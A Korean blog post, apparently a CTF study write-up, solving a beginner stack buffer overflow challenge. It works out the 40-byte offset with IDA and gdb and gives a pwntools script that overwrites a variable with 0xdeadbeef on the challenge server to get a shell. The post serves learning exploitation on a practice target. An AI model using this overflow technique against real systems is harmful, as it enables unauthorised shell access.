문제를 분석하기 위해 실행을 파일다운 받아 디버깅 해보자
가장쉬운 방법은 아이다를 통해 분석하는것이다
친절하게 s의 위치는 34(hex)이고
v5의 위치는 c(hex)값임으로
두 변수의 메모리차는 40(dec)이다
소스를 보면 v5에 0xdeadbeef라는 값이 오면 쉘을 얻을수 있음으로
bof를 이용하여 a*40해준다음 0xdeadbeef를 입력하면된다.
+
Pwntools 을 설치하자
1. apt-get install python2.7-dev python-pip
2. pip install pwntools
3. apt-get install libcapstone-dev
(만약 2번째에서 3번째로 넘어갈 경우에 404 NOT FOUND가 뜨면 apt-get update하기.)
스크립트작성
from pwn import *
p=remote("ctf.j0n9hyun.xyz",3000)
key=0xdeadbeef
x="a"*40
x+= p32(key)
p.sendline(x)
#p=process("./")
p.interactive()
이후 쉘을 얻어 flag를 읽으면 된다
gdb를 사용하여
#gdb bof_basic
#disas main
분석하기 쉽게 intel 언어로 바꿔준다.
#set disassembly-flavor intel
#disas main
<+17> 0xc 자리에 0x4030201를 넣어준다
<+35> 0x34 자리에 인자값을 넣어준다
<+95> 0xc자리 데이터와 0xbeadbeef를 비교해준다
디버깅 과정
b* main+44: 입력받은 다음의 브레이크 포인트를 걸어줘서 데이터가 잘들어갔는지 확인한다
r:브레이크포인트까지 실행
값입력
x/24wx $ebp -0x34
=>0x34위치부터 데이터값들 표시
x/s $ebp -0x34
=>0x34위치부터 데이터값들 문자열로 표시
x/24wx $ebp -0xc
=>0xc위치부터 데이터값들 표시
'CTF Study' 카테고리의 다른 글
2023-CODEGATE Music Player (web) (0) | 2023.07.05 |
---|